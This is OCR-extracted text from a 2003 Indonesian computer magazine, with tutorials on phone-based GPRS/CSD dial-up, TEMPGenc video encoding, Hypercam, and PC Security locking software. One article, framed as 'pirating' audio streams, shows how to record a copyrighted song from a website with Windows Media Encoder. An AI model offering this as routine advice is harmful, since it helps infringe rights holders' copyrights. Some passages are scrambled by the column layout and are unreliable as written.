Masukkan nomor telepon ISP yang akan anda hubungi. Pada contoh ini adalah Indonet dengan nomor 00162215272888. Contoh ini adalah nomor panggil Indonet yang didial dari Singapore. Kalau anda di Jakarta, nomor yang dimasukkan cukup 5272888 saja. Klik Next lalu Finish.

9

DIAL-UP PROPERTIES
Akan terbentuk icon IndoNet, suatu Dial-Up Networking baru. Pada icon itu klik kanan dan pilih Properties untuk menampilkan jendela dialog untuk koneksi yang baru kita bentuk ini. Pilih tab Server Type. Pada Type of Dial-Up Server pilih PPP, Internet, Windows NT Server, Windows 98.

8

NeoTek Sep/Okt 2003

NeoStart
IM3
1 2 3 4 5 6 7 8 9 10 11 12 13 14

Satelindo

Excelcom

Telkomsel
Telkomsel-CSD http://wap.telkomsel.com temporary off GSM Data 8789 10.1.89.130 normal ISDN 9600 automatic wap wap123 9201

Nokia 3310/3330 datacable

pat kalinya. Memang bukan kecepatan akses yang nyaman untuk browsing, namun sudah memadai apabila digunakan untuk mengakses email. Pada artikel ini dicontohkan menggunakan handphone (lama) Nokia 8210 (atau 8250) yang sudah mendukung WAP dan mempunyai port inframerah dan laptop yang juga mempunyai port inframerah (IrDA).

Parameter-parameter untuk membuat profil CSD di handphone anda Settings name M3-CSD Satelindo-CSD Excelcom-CSD Homepage http://wap.indosat-m3.net http://satwap http://202.158.36.186/ xlcomnokia.wml wml/ Session mode temporary temporary temporary Connection security off off off Data bearer GSM Data GSM Data GSM Data Dial-up number 366 333 288 IP address 010.019.019.019 202.152.162.250 202.151.032.014 Authentification type normal normal normal Data call type ISDN ISDN ISDN Data calls speed 9600 9600 9600 Login type automatic automatic automatic User name csd wap proxi Password im3 wap wap Port 9201 9201 9201

Apabila handphone anda belum mempunyai port inframerah (Nokia 3330/3410) maka koneksi ke laptop dapat melalui port serial. Nokia 3310 belum bisa WAP.

Setting CSD untuk operator ponsel di Indonesia dapat dilihat pada tabel. Perhatikan terutama dial-up number, user name, password, dan IP address.

4

PORT KOMUNIKASI
Tekan Next dan akan tampil jendela dialog untuk menetapkan port untuk modem ini. Pilih Virtual Infrared COM Port dan klik Next. Anda diminta menunggu Windows menginstal modem anda dan akan tampil pesan bahwa modem telah berhasil di-install. Klik Finish.

5

PERIKSA MODEM
Kembali ke Control Panel dan double click pada icon Modems dan akan terlihat bahwa kini telah terdapat HP anda sebagai modem. Pilih tab Diagnostics untuk melihat Port apa yang digunakan oleh HP ini. Terlihat pada contoh adalah COM4.

6

MAKE NEW CONNECTION
Pilih My Computer dan double click pada icon Dial-Up Networking yang akan menampilkan jendela dialog Dial-Up Networking. Double click Make New Connection dan jendela dialog Make New Connection akan tampil. Tetapkan nama koneksi dan HP kita sebagai device.

10

SERVER TYPE
Pada Advanced Option hanya Log on to network yang dipilih. Pada Allowed network protocols hanya pilih TCP/IP. Klik tombol TCP/IP dan tetapkan Server Assigned IP Address, Server Assigned name server address, dan Use default gateway on remote network. Klik OK.

11

KENALI LAGI MODEMNYA
Aktifkan infrared pada HP anda dan posisikan pada IrDA port komputer anda. Komputer akan mengenali HP anda sebagai modem yang serupa Nokia 8210 #2. Modem ‘baru’ ini yang harus digunakan untuk koneksi (bukan yang kita tetapkan sebelumnya). Untick Use area code and Dialing Properties.

12

MEMBENTUK KONEKSI
Double click icon IndoNet dan jendela dialog Connect To akan tampil. Masukkan user name dan password anda dan koneksi ke ISP anda pun akan terbentuk. Setelah ini anda dapat menjalankan browser ataupun email client pada laptop anda, walaupun ada di kereta api, misalnya. Tidak terlalu cepat memang.

Sep/Okt 2003 NeoTek

9

NeoStart

I NTE RN ET LEWAT H P
DIAL-U P I NTE RN ET KE OPERATOR GPRS
GPRS menyalurkan data 14400 bps per slot-nya, tetapi kini di Indonesia dan Singapore sudah terdapat handpone dengan multiple GPRS slot. Sony Ericsson T610 dan Nokia 3650 adalah contoh GPRS Class 8 dengan 4 slot downlink dan 1 slot uplink (4+1). Artinya download sampai 57600 bps.

lewat komunikasi data CSD memang masih jauh dari memuaskan, karena sebenarnya memang dirancang untuk layanan WAP pada narrow-band. Kini operator GSM mulai menyediakan layanan GPRS (General Packet Radio Service) yang jauh lebih cepat. GPRS pada dasarnya menyalurkan data dengan kecepatan 14400 bps per timeslot. Jadi GPRSClass 1 dengan satu slot downlink dan 1 slot uplink hanya dapat menyalurkan data dengan kecepatan 14400 bps baik downlink maupun uplink. GPRS yang dioperasikan di Indonesia maupun Singapore adalah GPRS Class 8 dengan 4 slot downlink dan 1 slot uplink. Jadi anda

K

ONEKSI INTERNET DENGAN HANDPHONE

Akses Internet lewat handphone kini bisa lebih cepat dibandingkan dial-up biasa.

1

INSTAL COMMUNICATION SUITE
Instal Communication Suite yang diantaranya berisi modem driver. Bila menggunakan handphone Nokia, instal PC Suite dan modem driver/modem setup. Beberapa jenis PC Suite dan modem driver untuk berbagai handphone disediakan dalam CD NeoTek kali ini.

2

INSTALL NEW MODEM
Pilih Start > Settings > Control Panel dan double click icon Modems untuk menampilkan jendela dialog Modems Properties. Klik tombol Adds dan pada jendela Install New Modem, pilih] Other sebagai jenis modem yang akan di-install. Klik Next.

3

DON’T DETECT MODEM
Beri tanda tick pada Don’t detect my modem; I will select from the list lalu klik Next. Akan tampil jendela dialog Install New Modem. Cari Sony Ericsson T610 Series IR modem pada Sony Ericsson Mobile Communications. Klik Next untuk melanjutkan.

7

NOMOR OPERATOR GPRS
Masukkan nomor telepon Operator GPRS yang akan anda hubungi. Pada contoh ini adalah M1 Sunsurf dengan nomor panggil modem *99***3# (Bila dial ke IM3: *99***1# dan bila ke Telkomsel *99#). Klik Next lalu Finish.

8

TANPA AREA CODE/PROPERTIES
Koneksi terbetuk. Klik Finish. Selanjutnya pada icon dial-up networking yang terbentuk klik kanan untuk menampilan Properties. Untick pada Use area code and Dialing Properties. Klik OK untuk melanjutkan.

9

SERVER TYPE
Pilih tab Server Type. Pada Type of Dial-Up Server pilih PPP, Internet, Windows NT Server, Windows 98. Pada Advanced Option hanya Log on to network yang dipilih. Pada Allowed network protocols hanya pilih TCP/IP. Klik tombol TCP/IP Settings dan tetapkan Server Assigned IP Address dan Server Assigned name server address.

10

NeoTek Sep/Okt 2003

NeoStart
dapat men-download dengan kecepatan 57600 bps dan uplink 14400 bps dan ini tergantung pada jenis handphone-nya. Contoh yang digunakan pada artikel ini adalah Sony Ericsson T610 yang menyediakan GPRS Class 8 (4+1), HSCSD Class 2 (2+1). Digunakan koneksi inframerah (bukan bluetooth). Di Indonesia baru dua operator yang menyediakan layanan GPRS: IM3 dan Telkomsel. Satelindo secara terbatas juga menyediakan layanan ini (sementara baru di Medan dan Batam). Setting yang dilakukan pada handphone sama pentingnya dengan yang dilakukan pada laptop agar koneksi ini berhasil dengan baik.
IM3 Telkomsel M1 Sunsurf Singtel Mobile
Setting Modem GPRS pada Handphone 1 Setting name M3-GPRS APN-Internet Sunsurf Mobile Singtel Mobile 2 Homepage http://wap.indosat-m3.net http://wap.telkomsel.com http://wapsvr.m1.com.sg:8000/ http://www.e-ideas.com.sg ap/m1home.wml 3 GPRS access point www.indosat-m3.net internet mobilenet e-ideas 4 GPRS connection when needed when needed when needed when needed 5 Session mode permanent permanent permanent permanent 6 Connection security off off off off 7 Data bearer GPRS GPRS GPRS GPRS 8 IP address 010.019.019.019 010.001.089.130 172.016.001.023 172.016.001.023 9 Authentication type normal normal normal normal 10 Login type automatic automatic automatic automatic 11 User name gprs wap 65xxxxxxxx 65xxxxxxxx 12 Password im3 wap123 user123 123456 13 Port 9201 9201 9201 9201 Konfigurasi pada Laptop 1 Dial-up number *99***1# *99# *99***3# *99# 2 User name gprs wap 65xxxxxxxx 65xxxxxxxx 3 Password im3 wap123 user123 123456 4 Server types TCP/IP TCP/IP TCP/IP TCP/IP 5 Maximum speed 57600 57600 57600 57600

4

PORT KOMUNIKASI
Tekan Next dan akan tampil jendela dialog untuk menetapkan port untuk modem ini. Pilih Virtual Infrared COM Port dan klik Next. Anda diminta menunggu Windows menginstal modem anda dan akan tampil pesan bahwa modem telah berhasil di-install. Klik Finish.

5

PERIKSA MODEM
Kembali ke Control Panel dan double click pada icon Modems dan akan terlihat bahwa kini telah terdapat HP anda sebagai modem. Pilih tab Diagnostics untuk melihat Port apa yang digunakan oleh HP ini. Terlihat pada contoh adalah COM4.

6

NEW CONNECTION/PROPERTIES
Pada jendela dialog Dial-Up Networking, double click Make New Connection. Tetapkan Sony Ericsson T610 Series IR modem sebagai device. Anda bisa mengubah Properties koneksi ini dengan klik kanan pada icon-nya.

10

TCP/IP SETTINGS
Untick Use IP header compression tapi pilih Use default gateway on remote network. Klik OK. Perhatikan bahwa setting pada Langkah 8 dan 9 ini berbeda apabila menggunakan IM3. Lihat di sini petunjuknya: http://www.m3-access.com/m3zone/ setting/gprs_lap.asp?it=1&is=3&isc=4 &ix=12

11

DIAL KE OPERATOR GPRS
Setelah mengaktifkan inframerah pada handphone dan memposisikannya pada IrDA laptop, double click dial-up connection ini. Pada M1 Sunsurf user name adalah 65xxxxxxxx (xxxxxxxx adalah nomor handphone) dan password-nya user123. Bila IM3 user name gprs dan password im3

12

KONEKSI TERBENTUK
Terlihat koneksi terbentuk dengan kecepatan 115.200 bps (maksimum). Kecepatan ini sudah cukup nyaman untuk browsing. Hati-hati, pada layanan GPRS anda akan ditagih biaya berdasarkan byte yang ditransfer bukan lama koneksi (seperti apabila telepon suara atau CSD).

Sep/Okt 2003 NeoTek

11

NeoStyle

Encoding dengan TEMPGenc
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memulai bahasan tentang basic video editing yang dimulai dengan proses encoding. Disini dibahas encoding terhadap file, sedangkan encoding terhadap streaming video dikenal sebagai video capture dan dibahas di bagian lain.
VIDEO, SEBELUMNYA ANDA HARUS menginput video yang anda akan edit itu ke dalam format yang dapat dimengerti oleh PC. Encoding memungkinkan anda memperkecil file yang harus disimpan ataupun diolah oleh PC sehingga PC tidak terbebani oleh file Video tadi yang sebegitu besarnya sehingga dapat mengakibatkan hang/crash-nya sebuah PC. Encoding adalah proses mengkonversi format VCD ataupun format digital video lainnya ke bentuk MPEG-1 (VCD) ataupun MPEG-2 (DVD). Banyak softwarer ripping/encoding di pasaran seperti TEMPGenc, VirtualDub, bahkan video editing tools seperti Adobe Premiere, Pinnacle, Ulead VideoStudio, dan lain-lain juga menyertakan fasilitas meng-encode video itu dalam dalam fasilitas mereka. Diantara sekian banyak software, encoding yang bagus menurut saya adalah TEMPGenc dan VirtualDub. Saya cenderung menggunakan TEMPGenc karena TEMPGenc jarang sekali crash sehingga lebih nyaman penggunaanya. VirtualDub sering crash, namun menghasilkan kualitas diatas TEMPGenc (VirtualDub dibahas di NeoTek III/10). Dalam proses meng-encode video saya anjurkan menutup semua program apapun kecuali program text processor seperti Ms Word atau Notepad. Ini karena encoding banyak memakan tenaga dari PC itu, tapi hal itu dapat di-

BA S I C V I D E O E D I T I N G

U

NTUK MENGEDIT

hindari apabila anda memiliki Video editing pada dasarPC yang berkualitas dan bernya adalah proses-proses tenaga tinggi. sebagai berikut: Lamanya proses encoding diten- • Encoding • Cutting tukan dari besarnya file video • Combining yang akan di-encode/convert itu. Ketika anda sedang melaku- • Editing kan encoding lebih baik men-set • Encoding (lagi) • Burning Auto Shutdown yang terdapat dalam TEMPGenc. Ada dua jenis encoding yaitu, loseless compression yang proses disini proses encoding tidak membuang informasi yang dipandang tidak perlu, namun hanya mengaturnya agar lebih "hemat" space. Yang kedua adalah lossy compresion, yang disini akan membuang informasi tambahan yang dipandang tidak perlu sehingga tempat yang diperlukan lebih sedikit, walaupun jenis ini akan memakan lebih sedikit tempat dibandingkan lossless compresion tetapi akan membuang informasi. Lossy compresion sendiri ada tiga jenis, MPEG-1 (untuk VCD/SVCS), MPEG-2 (untuk DVD), dan MPEG-4 (untuk Streaming Video di internet).

Langkah-langkah Encoding

1

Kita buka file video yang akan kita encode, bisa dalam format .AVI maupun .DAT, dalam contoh ini saya akan meng-Encode format .DAT ke .MPEG-1 (untuk vcd). Setelah itu kita buka TEMPGenc, untuk mulai mengEncode Ketika membuka TEMPGenc kita langsung disuguhkan dengan dua jenis standar transmisi video yang terdapat dalam setiap file video di seluruh dunia, PAL dan NTSC. Apa bedanya?

2

Untuk DVD, NTSC memiliki resolusi 720x480 dengan tingkat kecepatan frame gambar 29.97 fps, lebih bagus dibandingkan PAL, tapi PAL memungkinkan penggunaan resolusi diatas 720x480, tapi kecepatan frame gambarnya diperkecil menjadi 25 fps. Dalam praktek ini saya menggunakan PAL karena ketika video sudah jadi gambar tidak terlalu pecahpecah ketika di-zoom, walaupun ada bagian/adegan yang agak lambat. Untuk VCD dan SVCD tidak jauh berbeda, hanya saja resolusinya lebih kecil dibandingkan DVD.

12

NeoTek Sep/Okt 2003

NeoStyle

3

Sesudah kita memilih PAL sebagai system transmisi video, selanjutnya kita akan diminta untuk memasukkan file video yang akan di-encode. Sewaktu mencari filenya kita bisa melihat format apa saja yang dikenali TEMPGenc untuk di-encode. Kalau kita membuka file .DAT, yang artinya kita buka dari VCD (terdapat dalam folder mpegav), nama file tersebut sering kali bernama Avseq1.DAT dan jarang sekali namanya lain daripada itu.

4

Sesudah itu akan muncul kembali bar baru untuk menset Filter terhadap source video. Kita gunakan Default Option saja karena pilihan ini dianjurkan untuk yang sudah mahir dalam mengedit video.

6 5
Selanjutnya akan muncul report dari settingan tadi, kita dapat lihat disini terdapat report dan bitrate setting kalau kita klik tombol Expert yang ada di samping kanan. Kita tidak usah mengotak-atiknya, disini terdapat pula report besarnya/lama film itu akan berjalan. Sesudahnya akan muncul pilihan untuk menyimpan file video yang akan di-encode tadi.

Setelah melalui settingan tadi kini kita tinggal melihat proses encoding berlangsung. Ini adalah proses yang paling banyak memakan waktu.

7

Untuk menghemat waktu, sebaiknya display gambar yang terdapat di tengah layar encoding di-non-aktifkan saja, caranya kita buka menu Option > Preview Option > Do Not Display. Apabila dengan opsi tersebut proses masih terasa lambat (hal ini tergantung pada spesifikasi komputer dan besar file video yang di-encode) aktifkan menu Auto Shut Down, setelah itu tekan tombol OFF layar komputer, tapi jangan mematikan komputer anda. Tinggalkan beberapa menit (tergantung spesiikasi komputer dan besar file). Setelah proses encoding selesai komputer akan shut down sendiri opsi tersebut. Setelah itu anda tinggal melakukan tahap berikutnya, yaitu Cutting.

Sep/Okt 2003 NeoTek

13

NeoStyle

Tool Keren untuk e-Tutor
Andi Ismayadi (Fuzk3_kendi@yahoo.com) memperkenalkan Hypercam, tool untuk pengajaran yang dapat digunakan oleh para guru ataupun trainer pada kursus komputer. Bahan pengajaran interaktif kini dapat dibuat oleh siapa saja untuk memudahkan para siswa belajar sendiri.
PC ADALAH e-tutor atau electronic tutorial. E-tutor adalah suatu tutor yang langsung dapat kita saksikan di komputer kita, hal ini dapat tentunya sangat bagus mengingat biaya, waktu, dan tempat yang besar dan tak tersedia bila kita menyaksikan tutor tatap muka langsung dengan penyaji tutor itu. Apabila anda merupakan orang yang sibuk dan ingin menambah pengetahuan dengan mempelajari tutor dengan langsung mempraktekkannya, atau anda adalah seorang guru, pengajar, ataupun seorang penyaji yang ingin membuat tutor tetapi para murid atau para peserta workshop/ seminar anda, ingin mempraktekkannya di rumah langsung dengan bimbingan anda, Hypercam adalah tool yang dapat memecahkan masalah tersebut Download Hypercam di http://www.hyperionics.com/, untuk versi trialnya anda dapat menjalankannya walaupun nantinya anda akan melihat kata-kata Unregistered version di pojok kiri atas layar anda, untuk membuatnya menjadi full version anda dapat membeli di situsnya. Hypercam tidak memaksa komputer anda untuk memakai spesifikasi yang tinggi, tapi untuk optimasi-optimasi lain yang membuat e-tutor ini lebih lancar dalam file videonya nanti anda dapat menggunakan sepsifikasi komputer

HYP E RCAM v. 1.71.00

S

ALAH SATU BAGIAN LAGI DARI MULTIMEDIA

yang tinggi. Sebelumnya anda harus mempunyai pemuh tar video RealPlayer (http://www.real.com) untuk dapat memutar hasil e-tutor anda. Untuk itu apabila anda ingin membuat e-tutor mari ikuti langkah-langkah di bawah.

Alternatif Gratis e-Tutor Tool
Selain Hypercam, terdapat alternatif gratis dari Microsoft, yaitu Windows Media Encoder. Memang Windows Media Encoder bukan ditujukan untuk membuat bahan pengajaran, melainkan untuk menciptakan streaming content untuk Internet. Walaupun demikian, Windows Media Encoder dapat juga digunakan untuk menciptakan file e-tutor, sebab dapat membentuk file video dengan cara meng-capture computer screen, serta dilengkapi dengan fasilitas audio input melalui microphone. Anda dapat mengajarkan pemakaian suatu software, misalnya dengan merekan apa yang terjadi di layar komputer sambil memberikan keterangan lisan melalui mic. Hasil capture akan berupa file dengan format wmv (Windows Media Video). ‘Penyalahgunaan’ lain dari Windows Media Encoder adalah untuk meng-capture audio atau video stream dari Internet menjadi file, seperti dibahas pada artikel selanjutnya.

Bisa Apa Saja dengan Hypercam?

1

Buka Hypercam. Pertama kali anda membuka akan tampil pesan yang berpromosi agar anda membeli tool ini. Tampilan awal Hypercam akan berupa Tab Screen Area, yang di sini anda dapat men-set panjang dan lebar layar yang akan di-shot. Lalu ada tombol-tombol properties Hypercam, seperti Hide Hypercam Window, Flashing Border ketika recording, dan optimasi perekaman dengan menggunakan fasilitas DirectX.

2

Dengan menggunakan Select Region Button anda dapat men-set sendiri lebar layar anda dengan cara men-drag mouse anda seperti terlihat di gambar.

14

NeoTek Sep/Okt 2003

NeoStyle

3

Apabila anda mengaktifkan tombol Hide Windows-nya, anda akan kerepotan apabila tidak mengetahui tombol shortcut atau Hot Key-nya. Pada Tab Hot Key anda dapat menyesuaikan tombol mana yang akan dijadikan hot key dari play/stop recording atau Single Frame shot

4

Setelah itu, di sebelahnya ada Tab AVI File yang merupakan konfigurasi file output anda dan opsi-opsi lainnya. File output akan di-save menjadi format video .AVI.

5

Untuk merekam suara anda ke dalam e-tutor tadi, pertama yang anda butuhkan adalah microphone yang dicolokan ke sound card anda, lalu men-setting-nya di Tab Sound, disini anda dapat memilih berbagai macam kualitas suara yang akan anda hasilkan nantinya.

6

Anda dapat melihat video e-tutor anda nanti dengan menggunakan Real Player, nah disini terlihat apabila anda menggunakan versi yang belum terregistrasi di pojok kiri layar anda terlihat kata Unregistered Version.

7

Pada situs http://www.hyperionics.com/ anda dapat membeli full version-nya dan menghilangkan kata-kata tadi. Setelah itu anda masukan Serial Numbernya ke Tab License, sesudah dimasukkan, silahkan menikmati full version-nya.

8

Belum siap untuk keluar uang membeli Hypercam full version? Gunakan saja Windows Media Encoder (ada di CD NeoTek kali ini) yang salah satu fungsinya adalah capture screen activity lengkap dengan input suara dari microphone.

Sep/Okt 2003 NeoTek

15

NeoStyle

MEDIA ENCODER
MEMBAJAK AUDIO STREAM MENJADI AUDIO FILE
Windows Media Encoder diluncurkan oleh Microsoft sebagai solusi untuk penciptaan multimedia content untuk Internet, mulai skala kecil sampai enterprise dan mulai dari narrowband sampai broadband dan mobile media. Selain itu dapat pula ‘disalahgunakan’ untuk konversi stream audio/video menjadi file.

dapat men-download musik kesayangan anda karena server-nya hanya menyajikan stream audio dan bukannya file yang dapat di-download? Kini masalah ini dapat diatasi, dan solusinya justru datang dari Microsoft. Kita sudah mengenal Windows Media Player yang pada dasarnya adalah suatu decoder yang mendecode bermacam-macam file audio/video kembali menjadi audio/video stream. Kini Microsoft menyajikan Windows Media Encoder yang merupakan kebalikan dari Windows Media Player, yaitu men-encode live performance untuk menciptakan multimedia content untuk delivery lewat web maupun dimainkan di PC.

P

ERNAH MERASA JENGKEL KARENA TIDAK

Audio stream dari RealOne Player dengan mudah dikonversi menjadi file WMA

1

DOWNLOAD MEDIA ENCODER
Download Windows Media Encoder dari http://www.microsoft.com/ windows/windowsmedia/wm7/enco der.aspx atau dapatkan dari CD NeoTek. Instalasi software ini sangat mudah. Ikuti saja langkahlangkahnya.

2

MENJALANKAN WME
Jalankan Windows Media Encoder dari Start > Programs > Window Media > Windows Media Encoder dan akan tampil welcome screen. Opsi yang kita pilih adalah yang pertama: Broadcast, capture, or convert a file using the New Session Wizard. Klik OK untuk melanjutkan.

3

SESSION SELECTION
Session Selection ada tiga opsi lagi. Pilih yang kedua: Capture audio or video from attached devices or computer screen. Opsi pertama adalah untuk live broadcast dan yang ketiga untuk mengkonversi file menjadi windows media file. Untick Begin capturing when the wizard finished.

7

PROFILE SELECTION
Pilih profile yang paling mendekati untuk mutu sumber yang akan di-capture. Pilih Audio CDquality (96 Kbps stereo) berdasarkan keterangan yang paling mendekati spesifikasi yang kita ketahui/ duga. Klik Next untuk melanjutkan.

8

DISPLAY INFORMATION
Hasil capture dapat diberi label Title, Author, Copyright, Rating, dan Description. Ini hanya penting untuk broadcast; jadi kosongkan saja dan klik Next untuk menampilkan Setting Review. Klik Finish untuk memulai capture atau Back apabila ada setting yang hendak diubah.

9

SIAP UNTUK CAPTURE
Windows Media Encoder siap untuk meng-capture dari device yang ditetapkan. Pada saat ini lepas speaker dari port-nya dan hubungi speaker port ke line-in port pada sound card yang sama. Klik OK terhadap pesan yang tampil untuk memulai encoding.

16

NeoTek Sep/Okt 2003

NeoStyle
Selain untuk tujuan utamanya, Windows Media Encoder dapat ‘disalahgunakan’ untuk mengkonversi audio/video stream menjadi file format WMA (Windows Media Audio) atau wmv (Windows Media Video). Tidak ada tambahan hardware apapun pada komputer anda (kecuali mungkin kabel audio yang sesuai dengan portport yang akan digunakan). Audio source anda adalah speaker port pada audio card anda dan dari sini difeed ke line-in pada audio card yang sama. Dengan cara ini hasil encode dari stream audio akan bebas noise dan mutunya sebaik sumbernya. Anda harus mempunyai kabel dengan jack audio ke audio yang dapat anda beli di multimedia streaming content di Intertoko-toko elektronik atau menggunanet pada berbagai kecepetan koneksi kan adaptor yang menghubungkan mulai dari dial-up modem sampai broadkedua port RCA audio (merah dan band maupun putih) ke port tunggal audio yang me- mobile media rupakan jenis port baik untuk speaker content. maupun line-in pada audio card. Persyaratan hardware pun tidak perlu tinggi-tinggi, kecuali bila anda ingin menggunakan Windows Media Encoder untuk men-encode video stream. Bahasan tentang cara meng-encode video stream terdapat pada NeoReview edisi ini dan cara ini yang lebih dianjurkan untuk keperluan pribadi daripada Windows Media Encoder yang keluar dari speaker port masuk ke line-in port diarahkan untuk pengembangan

4

DEVICE OPTIONS
Next masuk ke Device Options. Untick video (kita hanya akan meng-capture audio) dan pilih audio device sound card anda. Klik Configure untuk memilih Line-in dan tick Enable untuk line-in. Opsi lain mencakup Aux, CD Player, Microphone, Phone Line, Mono Mix, dan Stereo Mix.

5

JALANKAN REALONE PLAYER
Buka browser dan masuk ke situs yang menyediakan audio stream. Dalam contoh ini adalah situs di http://www.geocities.com/elvis_pre sley_cd_rom/samples/samples.html Jalankan satu lagu kemudian hentikan (jadikan stand by untuk di-capture).

6

FILE YANG DIBENTUK
Karena lagu yang akan di-capture adalah She Wears My Ring dari Elvis Presley, namakan file yang akan dibentuk sewaktu capture sebagai C:\she_wears_my_ring (secara otomatis akan mendapatkan ekstensi .wav). Klik Next untuk melanjutkan.

10

ENCODING BERLANGSUNG
Jalankan RealOne Player yang dilanjutkan dengan klik tombol Start pada Windows Media Encoder. Setelah satu lagu itu selesai dimainkan (dan di-capture) klik tombol Stop. Klik Yes terhadap pesan Are you sure you want to stop encoding?

11

ENCODING RESULT
Akan tampil layar dialog Encoding Result. Klik View Output File untuk melihat hasilnya. Sebelum itu kembalikan jack speaker ke speaker port di sound card anda. Secara default Windows Media Player akan di-launch dan memainkan file yang baru anda capture.

12

NEW SESSION WIZARD
Anda dapat meng-capture audio stream berikutnya dengan mengklik Session > New Session Wizard dan ikuti langkah-langkahnya seperti dibahas sebelumnya. Jangan lupa melepas kembali jack speaker dari sound card dan kembali hubungkan port speaker dengan linein pada sound card yang sama.

Sep/Okt 2003 NeoTek

17

NeoTekno

Satpam Komputer Anda
Keamanan komputer bukan saja terhadap ancaman yang datang lewat network atau Internet, melainkan juga dari tangan-tangan jahil atau kebodohan teman sendiri. Eryanto Sitorus (ery@postmaster.co.uk) membahas PC Security untuk anda
bih banyak dipakai untuk kepentingan pribadi, saya yakin anda tentu tidak ingin orang lain bisa sembarangan meminjam/memakai komputer pribadi anda. Anda pasti akan sangat khawatir bila yang meminjam itu bukannya cuma sekedar meminjam, tapi malah mengobrak-abrik seluruh data/program yang ada di komputer anda. Dan satu hal lagi yang paling anda takutkan adalah, janganjangan orang tersebut nanti malah dial-up ke ISP, chatting, check mail, atau surfing ke dalam situs-situs yang tidak senonoh tanpa mengenal rasa malu dan waktu. Benar atau tidak dugaan saya, yang jelas apa yang diilustrasikan di atas adalah contoh satu permasalahan yang sering dialami para pemilik PC (Personal Computer), khususnya mereka yang masih menggunakan Windows sebagai operating system. Nah, jika ternyata anda memang sering atau setidaknya pernah mengalami masalah seperti itu, sekarang anda tidak perlu merasa risau, gelisah, atau khawatir lagi karena sudah ada software yang bisa dimanfaatkan untuk mengatasinya, yaitu dengan PC Security. Namun sebelum saya mulai menjelaskan bagaimana cara program ini nanti bisa melindungi dan menjaga privacy komputer anda dari orang-orang yang lebih suka meminjam daripada membeli, saya ingin menegaskan bahwa PC Security hanya bisa dijalankan pada Windows 95/98/ME/2000/XP atau NT. Sedangkan spesifikasi hardware yang perlu anda siapkan agar ia bisa bekerja secara optimal, adalah: • Komputer: IBM or compatible • Processor : Pentium/compatible or higher • RAM : 32MB or higher Dan sekedar tambahan informasi lagi buat anda, PC Security adalah milik perusahaan Tropical Software yang dikembangkan oleh Silvio Kuczynski, Chris Whitten, dan Erik Curre. Sebelum di-instal, ukuran filenya hanya 938KB saja. Jadi kalau anda nanti memang berniat ingin menginstalnya di komputer anda sendiri, downloadlah software tersebut di http://www.tropsoft.com. Nah, setelah software tersebut selesai anda download dan instal, sekarang marilah kita lihat bersama-sama, apa saja yang bisa dilakukan PC Security terhadap komputer kita.

PC S E C U R IT Y

S

EBAGAI PEMILIK KOMPUTER YANG PENGGUNAANNYA LE-

Jangan lupa bahwa agar anda nanti bisa mengakses program ini, maka setiap kali program ini dijalankan, anda akan diminta memasukkan kata sandi (password) terlebih dahulu.

Gambar 2. Memasukkan kata sandi

Karena baru pertama kali ini anda menjalankannya, maka ketiklah SECURITY sebagai kata sandinya. Kemudian langkah berikutnya (sesuai dengan apa yang telah dipesankan kepada anda), gantilah password yang pertama kali anda ketik tadi dengan password yang lain berda-

Mengoperasikan PC Security
Pertama-tama, jalankan dulu program yang baru anda instal tadi dari Start > Programs > PC Security for Windows > PC Security, atau double-click ikon PC Security dari menu toolbars seperti terlihat pada Gambar 1.
Gambar 1. Ikon PC Security 18

Gambar 3. Tampilan program PC Security

NeoTek Sep/Okt 2003

NeoTekno
sarkan pilihan anda sendiri. Untuk mengubah kata sandi program PC Security, caranya adalah sebagai berikut: 1. Klik menu Settings 2. Klik tab Password 3. Pada opsi Select password to change, pilih Master 4. Ketik SECURITY sebagai Current Password 5. Ketik password yang baru ke dalam field New Password dan Verify New Password 6. Klik tombol OK Sebelum anda mengklik tombol OK untuk menutup jendela Settings, pastikanlah bahwa anda sudah mengaktifkan semua opsi security yang ditawarkan PC Security, misalnya seperti opsi Extra Passwords yang terdapat pada tab Password dan tab Admin. Semua itu akan sangat penting Gambar 4. Mengubah kata sandi artinya demi tercapai(password) program. nya keamanan yang lebih tinggi. Jika anda sudah yakin terhadap opsi-opsi yang anda pilih pada jendela Settings, tutuplah jendela itu dengan mengklik tombol OK, lalu mulailah melakukan tindakan pengamanan. Pada main page program PC Security, kita bisa melihat bahwa ada sebanyak 9 Gambar 5. Mengaktifkan semua opsi buah menu security yang security. bisa dimanfaatkan, yaitu: 1. File Lock 2. Window Lock 3. Program Lock 4. Folder/Drive Lock 5. Internet Lock 6. System Lock 7. Intruder Detection 8. Explorer Control 9. Restricted System Adapun manfaat dan kegunaan dari masing-masing menu tersebut di atas, akan dijelaskan sebagai berikut: 1. File Lock Sesuai dengan namanya, fungsi utama program ini adalah untuk mengunci file-file (khususnya file data) yang anda anggap sangat penting dan rahasia. Dalam melakukan penguncian, PC Security akan memberikan dua buah model/ type kunci yang bisa anda pilih, yaitu Read Only dan Total Lock. Berikut ini adalah petunjuk untuk melakukan proses penguncian file: • Klik menu File Lock • Tentukan drive serta folder tempat file berada • Pilih (click) file yang akan dikunci • Tentukan pilihan Lock Type • Klik tombol Lock untuk mengunci

Gambar 6. Mengunci file-file data.

Gambar 7. Pesan bahwa file yang telah dikunci tidak bisa dibuka

2. Window Lock Fungsi utama program ini adalah untuk mengunci programprogram aplikasi yang sedang aktif pada saat itu. Berikut ini adalah petunjuk penggunaannya: • Klik menu Window Lock • Klik tombol Add Title Pattern • Klik panah pada jendela Add a Title Search String untuk memilih Window Title (aplikasi) yang akan di kunci
Gambar 8. Memilih Window Title yang akan di-lock

Gambar 9. Window title yang sudah di-lock

Sep/Okt 2003 NeoTek

19

NeoTekno
3. Program Lock 5. Internet Lock

Gambar 13. Mengunci akses ke Internet Gambar 10. Mengunci file-file aplikasi. Gambar 11. Pesan bahwa aplikasi yang telah dikunci tidak bisa dijalankan.

Sama seperti File lock, fungsi utama program ini adalah untuk mengunci file-file aplikasi yang berekstensi EXE agar orang lain tidak bisa mengoperasikan, memodifikasi, atau menghapusnya. Berikut ini adalah petunjuk penggunaannya: • Klik menu program Lock • Tentukan drive serta folder tempat file EXE • Pilih (click) file EXE yang akan dikunci • Klik tombol Lock untuk mengunci 4. Folder/Drive Lock Secara teknis, fungsi program ini adalah untuk mengunci direktori (folder) beserta semua drive yang ada di PC anda. Sekali anda menguncinya, maka orang lain tidak akan pernah bisa melihat atau membuka folder-folder dan drive yang ada di PC anda. Berikut ini adalah petunjuk penggunaannya: • Klik menu Folder/Drive Lock • Pilih/tentukan drive beserta folder yang akan dikunci • Tentukan Lock Type yang diinginkan

